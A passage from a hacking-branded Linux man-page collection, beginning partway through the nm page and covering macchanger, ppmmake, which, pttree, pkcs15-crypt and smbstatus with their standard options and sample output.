    For PE format files this indicates that the symbol is in a section specific to the implementation of DLLs. For ELF format files this indicates that the symbol is an indirect function. This is a GNU extension to the standard set of ELF symbol types. It indicates a symbol which if referenced by a relocation does not evaluate to its address, but instead must be invoked at runtime. The runtime execution will then return the value to be used in the relocation. Note - the actual symbols display for GNU indirect symbols is controlled by the –ifunc-chars command line option. If this option has been provided then the first character in the string will be used for global indirect function symbols. If the string contains a second character then that will be used for local indirect function symbols.

    “I”
    The symbol is an indirect reference to another symbol.

    “N”
    The symbol is a debugging symbol.

    “n”
    The symbol is in a non-data, non-code, non-debug read-only section.

    “p”
    The symbol is in a stack unwind section.

    “R”

    “r”

    The symbol is in a read only data section.

    “S”

    “s”

    The symbol is in an uninitialized or zero-initialized data section for small objects.

    “T”

    “t”

    The symbol is in the text (code) section.

    “U”
    The symbol is undefined.

    “u”
    The symbol is a unique global symbol. This is a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

    “V”

    “v”

    The symbol is a weak object. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the weak symbol becomes zero with no error. On some systems, uppercase indicates that a default value has been specified.

    “W”

    “w”

    The symbol is a weak symbol that has not been specifically tagged as a weak object symbol. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the symbol is determined in a system-specific manner without error. On some systems, uppercase indicates that a default value has been specified.

    “-”
    The symbol is a stabs symbol in an a.out object file. In this case, the next values printed are the stabs other field, the stabs desc field, and the stab type. Stabs symbols are used to hold debugging information.

    “?”
    The symbol type is unknown, or object file format specific.

  • The symbol name. If a symbol has version information associated with it, then the version information is displayed as well. If the versioned symbol is undefined or hidden from linker, the version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol, then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent.

-A

-o

–print-file-name

Precede each symbol by the name of the input file (or archive member) in which it was found, rather than identifying the input file once only, before all of its symbols.

-a

–debug-syms

Display all symbols, even debugger-only symbols; normally these are not listed.

-B
The same as –format=bsd (for compatibility with the MIPS nm).

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-D

–dynamic

Display the dynamic symbols rather than the normal symbols. This is only meaningful for dynamic objects, such as certain types of shared libraries.

-f format

–format=format

Use the output format format, which can be bsd, sysv, posix or just-symbols. The default is bsd. Only the first character of format is significant; it can be either upper or lower case.

-g

–extern-only

Display only external symbols.

-h

–help

Show a summary of the options to nm and exit.

–ifunc-chars=CHARS
When display GNU indirect function symbols nm will default to using the i character for both local indirect functions and global indirect functions. The –ifunc-chars option allows the user to specify a string containing one or two characters. The first character will be used for global indirect function symbols and the second character, if present, will be used for local indirect function symbols.

  1. The same as –format=just-symbols.

-l

–line-numbers

For each symbol, use debugging information to try to find a filename and line number. For a defined symbol, look for the line number of the address of the symbol. For an undefined symbol, look for the line number of a relocation entry which refers to the symbol. If line number information can be found, print it after the other symbol information.

–inlines
When option -l is active, if the address belongs to a function that was inlined, then this option causes the source information for all enclosing scopes back to the first non-inlined function to be printed as well. For example, if main inlines callee1 which inlines callee2, and address is from callee2, the source information for callee1 and main will also be printed.

-n

-v

–numeric-sort

Sort symbols numerically by their addresses, rather than alphabetically by their names.

-p

–no-sort

Do not bother to sort the symbols in any order; print them in the order encountered.

-P

–portability

Use the POSIX.2 standard output format instead of the default format. Equivalent to -f posix.

-r

–reverse-sort

Reverse the order of the sort (whether numeric or alphabetic); let the last come first.

-S

–print-size

Print both value and size of defined symbols for the bsd output style. This option has no effect for object formats that do not record symbol sizes, unless –size-sort is also used in which case a calculated size is displayed.

-s

–print-armap

When listing symbols from archive members, include the index: a mapping (stored in the archive by ar or ranlib) of which modules contain definitions for which names.

-t radix

–radix=radix

Use radix as the radix for printing the symbol values. It must be d for decimal, o for octal, or x for hexadecimal.

-u

–undefined-only

Display only undefined symbols (those external to each object file). By default both defined and undefined symbols are displayed.

-U

–defined-only

Display only defined symbols for each object file. By default both defined and undefined symbols are displayed.

-V

–version

Show the version number of nm and exit.

-X
This option is ignored for compatibility with the AIX version of nm. It takes one parameter which must be the string 32_64. The default mode of AIX nm corresponds to -X 32, which is not supported by GNU nm.

–plugin name
Load the plugin called name to add support for extra target types. This option is only available if the toolchain has been built with plugin support enabled. If –plugin is not provided, but plugin support has been enabled then nm iterates over the files in ${libdir}/bfd-plugins in alphabetic order and the first plugin that claims the object in question is used. Please note that this plugin search directory is not the one used by ld’s -plugin option. In order to make nm use the linker plugin it must be copied into the ${libdir}/bfd-plugins directory. For GCC based compilations the linker plugin is called liblto_plugin.so.0.0.0. For Clang based compilations it is called LLVMgold.so. The GCC plugin is always backwards compatible with earlier versions, so it is sufficient to just copy the newest one.

–size-sort
Sort symbols by size. For ELF objects symbol sizes are read from the ELF, for other object types the symbol sizes are computed as the difference between the value of the symbol and the value of the symbol with the next higher value. If the bsd output format is used the size of the symbol is printed, rather than the value, and -S must be used in order both size and value to be printed. Note - this option does not work if –undefined-only has been enabled as undefined symbols have no size.

–special-syms
Display symbols which have a target-specific special meaning. These symbols are usually used by the target for some special processing and are not normally helpful when included in the normal symbol lists. For example for ARM targets this option would skip the mapping symbols used to mark transitions between ARM code, THUMB code and data.

–synthetic
Include synthetic symbols in the output. These are special symbols created by the linker for various purposes. They are not shown by default since they are not part of the binary’s original source code.

–unicode=[default|invalid|locale|escape|hex|highlight]
Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-W

–no-weak

Do not display weak symbols.

–with-symbol-versions

–without-symbol-versions

Enables or disables the display of symbol version information. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2. By default, symbol version information is displayed.

–target=bfdname
Specify an object code format other than your system’s default format.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), ranlib (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1101 - Linux cli command macchanger

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command macchanger and provides detailed information about the command macchanger, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the macchanger.

NAME 🖥️ macchanger 🖥️

MAC Changer

SYNOPSIS

macchanger [options] device

DESCRIPTION

macchanger is a GNU/Linux utility for viewing/manipulating the MAC address for network interfaces.

OPTIONS

macchanger accepts the following options:

-h, –help
Show summary of options.

-V, –version
Show version of program.

-s, –show
Prints the current MAC. This is the default action when no other option is specified.

-e, –ending
Don’t change the vendor bytes.

-a, –another
Set random vendor MAC of the same kind.

-A
Set random vendor MAC of any kind.

-r, –random
Set fully random MAC.

-p, –permanent
Reset MAC address to its original, permanent hardware value.

-l, –list[=keyword]
Print known vendors (with keyword in the vendor’s description string).

-b, –bia
When setting fully random MAC pretend to be a burned-in-address. If not used, the MAC will have the locally-administered bit set.

-m, –mac XX:XX:XX:XX:XX:XX, –mac=XX:XX:XX:XX:XX:XX
Set the MAC XX:XX:XX:XX:XX:XX.

EXAMPLE

macchanger -A eth1

SEE ALSO

ifconfig (8)

AUTHOR

Alvaro Lopez Ortega <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1102 - Linux cli command ppmmake

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmmake and provides detailed information about the command ppmmake, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmmake.

.

NAME 🖥️ ppmmake 🖥️

create a PPM image of a specified color and dimensions

SYNOPSIS

ppmmake [**-maxval=**maxval] color width height

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

ppmmake produces a PPM image of the specified color, width, height, and maxval.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

EXAMPLES

    ppmmake red 50 50

    ppmmake rgb:ff/80/80 50 100 -maxval=5

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmmake recognizes the following command line option:

**-maxval=**maxval
The maxval for the generated image. Default is 255.

This option did not exist before June 2002. Before, the maxval was always 255.

SEE ALSO

pbmmake(1) , pgmmake(1) , ppmpat(1) , ppm(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmmake.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1103 - Linux cli command which.debianutils

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command which.debianutils and provides detailed information about the command which.debianutils, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the which.debianutils.

NAME 🖥️ which.debianutils 🖥️

locate a command

SYNOPSIS

which [-as] filename …

DESCRIPTION

which returns the pathnames of the files (or links) which would be executed in the current environment, had its arguments been given as commands in a strictly POSIX-conformant shell. It does this by searching the PATH for executable files matching the names of the arguments. It does not canonicalize path names.

OPTIONS

-a
print all matching pathnames of each argument

-s
silently return 0 if all of the executables were found or 1 otherwise

EXIT STATUS

0
if all specified commands are found and executable

1
if one or more specified commands is nonexistent or not executable

2
if an invalid option is specified

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1104 - Linux cli command pttree

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pttree and provides detailed information about the command pttree, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pttree.

NAME 🖥️ pttree 🖥️

prints a quick overview of the contents of PyTables HDF5 files.

SYNOPSIS

pttree [ OPTIONS ] filename[:nodepath]

DESCRIPTION

pttree is designed to give a quick overview of the contents of a PyTables HDF5 file by printing a depth-indented list of nodes, similar to the output of the Unix `tree` function. It can also display the size, shape and compression states of individual nodes, as well as summary information for the whole file. For a more verbose output (including metadata), see `ptdump`.

OPTIONS

A summary of options is included below.

-L MAX_DEPTH, –max-level MAX_DEPTH
maximum branch depth of tree to display (-1 == no limit)

-S SORT_BY, –sort-by SORT_BY
artificially order nodes, can be either “size”, “name” or “none”

–print-size
print size of each node/branch

–no-print-size
–print-shape
print shape of each node

–no-print-shape
–print-compression
print compression library(level) for each compressed node

–no-print-compression
–print-percent
print size of each node as a % of the total tree size on disk

–no-print-percent
–use-si-units
report sizes in SI units (1 MB == 10^6 B)

–use-binary-units
report sizes in binary units (1 MiB == 2^20 B)

-h
Print help on usage.

SEE ALSO

ptdump(1).
These utilities are documented fully by PyTables user’s manual.

AUTHOR

This manual page was written by Antonio Valentino <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1105 - Linux cli command pkcs15-crypt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkcs15-crypt and provides detailed information about the command pkcs15-crypt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkcs15-crypt.

NAME 🖥️ pkcs15-crypt 🖥️

crypt - perform crypto operations using PKCS#15 smart cards

SYNOPSIS

pkcs15-crypt [OPTIONS]

DESCRIPTION

The pkcs15-crypt utility can be used from the command line to perform cryptographic operations such as computing digital signatures or decrypting data, using keys stored on a PKCS#15 compliant smart card.

OPTIONS

–version,

Print the OpenSC package release version.

–aid aid

Specify the AID of the on-card PKCS#15 application to bind to. The aid must be in hexadecimal form.

–decipher, -c

Decrypt the contents of the file specified by the –input option. The result of the decryption operation is written to the file specified by the –output option. If this option is not given, the decrypted data is printed to standard output, displaying non-printable characters using their hex notation xNN (see also –raw).

–input file, -i file

Specifies the input file to use. Defaults to stdin if not specified.

–key id, -k id

Selects the ID of the key to use.

–output file, -o file

Any output will be sent to the specified file. Defaults to stdout if not specified.

–pin pin, -p pin

When the cryptographic operation requires a PIN to access the key, pkcs15-crypt will prompt the user for the PIN on the terminal. Using this option allows you to specify the PIN on the command line.

Note that on most operating systems, the command line of a process can be displayed by any user using the ps(1) command. It is therefore a security risk to specify secret information such as PINs on the command line. If you specify - as PIN, it will be read from STDIN.

–pkcs1

By default, pkcs15-crypt assumes that input data has been padded to the correct length (i.e. when computing an RSA signature using a 1024 bit key, the input must be padded to 128 bytes to match the modulus length). When giving the –pkcs1 option, however, pkcs15-crypt will perform the required padding using the algorithm outlined in the PKCS #1 standard version 1.5.

–raw, -R

Outputs raw 8 bit data.

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–md5 –sha-1 –sha-224 –sha-256 –sha-384 –sha-512

These options tell pkcs15-crypt that the input file is the result of the specified hash operation. By default, an MD5 hash is expected. Again, the data must be in binary representation.

–sign, -s

Perform digital signature operation on the data read from a file specified using the –input option. By default, the contents of the file are assumed to be the result of an MD5 hash operation. Note that pkcs15-crypt expects the data in binary representation, not ASCII.

The digital signature is stored, in binary representation, in the file specified by the –output option. If this option is not given, the signature is printed on standard output, displaying non-printable characters using their hex notation xNN (see also –raw).

–signature-format, –f

When signing with ECDSA key this option indicates to pkcs15-crypt the signature output format. Possible values are rs(default) – two concatenated integers (PKCS#11), sequence or openssl – DER encoded sequence of two integers (OpenSSL).

–wait, -w

Causes pkcs15-crypt to wait for a card insertion.

–verbose, -v

Causes pkcs15-crypt to be more verbose. Specify this flag several times to enable debug output in the OpenSC library.

SEE ALSO

pkcs15-init(1), pkcs15-tool(1)

AUTHORS

pkcs15-crypt was written by Juha Yrjölä <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1106 - Linux cli command smbstatus

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbstatus and provides detailed information about the command smbstatus, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbstatus.

NAME 🖥️ smbstatus 🖥️

report on current Samba connections

SYNOPSIS

smbstatus [-p|–processes] [-v|–verbose] [-L|–locks] [-S|–shares] [-N|–notify] [-u|–user=STRING] [-b|–brief] [-P|–profile] [-R|–profile-rates] [-B|–byterange] [-n|–numeric] [-f|–fast] [-j|–json] [–resolve-uids] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full]

DESCRIPTION

This tool is part of the samba(7) suite.

smbstatus is a very simple program to list the current Samba connections.

OPTIONS

-P|–profile

If samba has been compiled with the profiling option, print only the contents of the profiling shared memory area.

-R|–profile-rates

If samba has been compiled with the profiling option, print the contents of the profiling shared memory area and the call rates.

-b|–brief

gives brief output.

-v|–verbose

gives verbose output.

-L|–locks

causes smbstatus to only list locks.

-B|–byterange

causes smbstatus to include byte range locks.

-p|–processes

print a list of smbd(8) processes and exit. Useful for scripting.

-S|–shares

causes smbstatus to only list shares.

-N|–notify

causes smbstatus to display registered file notifications

-f|–fast

causes smbstatus to not check if the status data is valid by checking if the processes that the status data refer to all still exist. This speeds up execution on busy systems and clusters but might display stale data of processes that died without cleaning up properly.

-u|–user=<username>

selects information relevant to username only.

-n|–numeric

causes smbstatus to display numeric UIDs and GIDs instead of resolving them to names.

-j|–json

Output more detailed information in JSON format instead of human readable. The output has the following format:

{ “timestamp”: “2022-04-15T18:25:15.364891+0200”, “version”: “4.17.0pre1-GIT-a0f12b9c80b”, “smb_conf”: “/opt/samba/etc/smb.conf”, “sessions”: { “3639217376”: { “session_id”: “3639217376”, “server_id”: { “pid”: “69650”, “task_id”: “0”, “vnn”: “4294967295”, “unique_id”: “10756714984493602300” }, “uid”: 1000, “gid”: 1000, “username”: “johndoe”, “groupname”: “johndoe”, “remote_machine”: “127.0.0.1”, “hostname”: “ipv4:127.0.0.1:59944”, “session_dialect”: “SMB3_11”, “encryption”: { “cipher”: “”, “degree”: “none” }, “signing”: { “cipher”: “AES-128-GMAC”, “degree”: “partial” } } }, “tcons”: { “3813255619”: { “service”: “sharename”, “server_id”: { “pid”: “69650”, “task_id”: “0”, “vnn”: “4294967295”, “unique_id”: “10756714984493602300” }, “tcon_id”: “3813255619”, “session_id”: “3639217376”, “machine”: “127.0.0.1”, “connected_at”: “2022-04-15T17:30:37+0200”, “encryption”: { “cipher”: “AES-128-GMAC”, “degree”: “full” }, “signing”: { “cipher”: “”, “degree”: “none” } } }, “open_files”: { “/home/johndoe/testfolder/sample”: { “service_path”: “/home/johndoe/testfolder”, “filename”: “sample”, “fileid”: { “devid”: 59, “inode”: 11404245, “extid”: 0 }, “num_pending_deletes”: 0, “opens”: { “56839/2”: { “server_id”: { “pid”: “69650”, “task_id”: “0”, “vnn”: “4294967295”, “unique_id”: “10756714984493602300” }, “uid”: 1000, “share_file_id”: 2, “sharemode”: { “hex”: “0x00000003”, “NONE”: false, “READ”: true, “WRITE”: true, “DELETE”: false, “text”: “RW” }, “access_mask”: { “hex”: “0x00000003”, “READ_DATA”: true, “WRITE_DATA”: true, “APPEND_DATA”: false, “READ_EA”: false, “WRITE_EA”: false, “EXECUTE”: false, “READ_ATTRIBUTES”: false, “WRITE_ATTRIBUTES”: false, “DELETE_CHILD”: false, “DELETE”: false, “READ_CONTROL”: false, “WRITE_DAC”: false, “SYNCHRONIZE”: false, “ACCESS_SYSTEM_SECURITY”: false, “text”: “RW” }, “caching”: { “READ”: false, “WRITE”: false, “HANDLE”: false, “hex”: “0x00000000”, “text”: "" }, “oplock”: {}, “lease”: {}, “opened_at”: “2022-04-15T17:30:38+0200” } } } } }

If oplocks are used:

      "oplock": {
            "EXCLUSIVE": false,
            "BATCH": false,
            "LEVEL_II": true,
            "LEASE": false,
            "text": "LEVEL_II"
          }

If leases are used:

      "lease": {
            "lease_key": "29316055-f55c-de10-c813-af7bf5a430bb",
            "hex": "0x00000005",
            "READ": true,
            "WRITE": true,
            "HANDLE": false,
            "text": "RW"
          }

With byte-range locks (-B, –byterange):

“byte_range_locks”: { “/home/johndoe/testfolder/sample”: { “fileid”: { “devid”: 59, “inode”: 11404245, “extid”: 0 }, “file_name”: “sample”, “share_path”: “/home/johndoe/testfolder”, “locks”: [ { “server_id”: { “pid”: “69650”, “task_id”: “0”, “vnn”: “4294967295”, “unique_id”: “10756714984493602300” }, “type”: “R”, “flavour”: “Posix”, “start”: 0, “size”: 16 } ] }

With notifies (-N, –notify):

“notify”: { “77247”: { “server_id”: { “pid”: “69650”, “task_id”: “0”, “vnn”: “4294967295”, “unique_id”: “10756714984493602300” }, “path”: “/home/johndoe/testfolder/testdir”, “filter”: 4095, “subdir_filter”: 4095, “creation_time”: “1970-01-01T01:00:14.326582+01:00” } }

For profiling (-P, –profile):

{ “timestamp”: “2022-04-15T18:40:43.112216+0200”, “version”: “4.17.0pre1-GIT-a0f12b9c80b”, “smb_conf”: “/opt/samba/etc/smb.conf”, “SMBD loop”: { “connect”: { “count”: 2 }, “disconnect”: { “count”: 1 }, … }, “System Calls”: { “syscall_opendir”: { “count”: 0, “time”: 0 }, … }, “ACL Calls”: { “get_nt_acl”: { “count”: 0, “time”: 0 }, … }, “Stat Cache”: { “statcache_lookups”: { “count”: 2 }, … }, “SMB Calls”: { “SMBmkdir”: { “count”: 0, “time”: 0 }, … }, “Trans2 Calls”: { “Trans2_open”: { “count”: 0, “time”: 0 }, … }, “NT Transact Calls”: { “NT_transact_create”: { “count”: 0, “time”: 0 }, … }, “SMB2 Calls”: { “smb2_negprot”: { “count”: 2, “time”: 3060, “idle”: 0, “inbytes”: 452, “outbytes”: 568 }, … } }

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

SEE ALSO

smbd(8) and smb.conf(5).

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
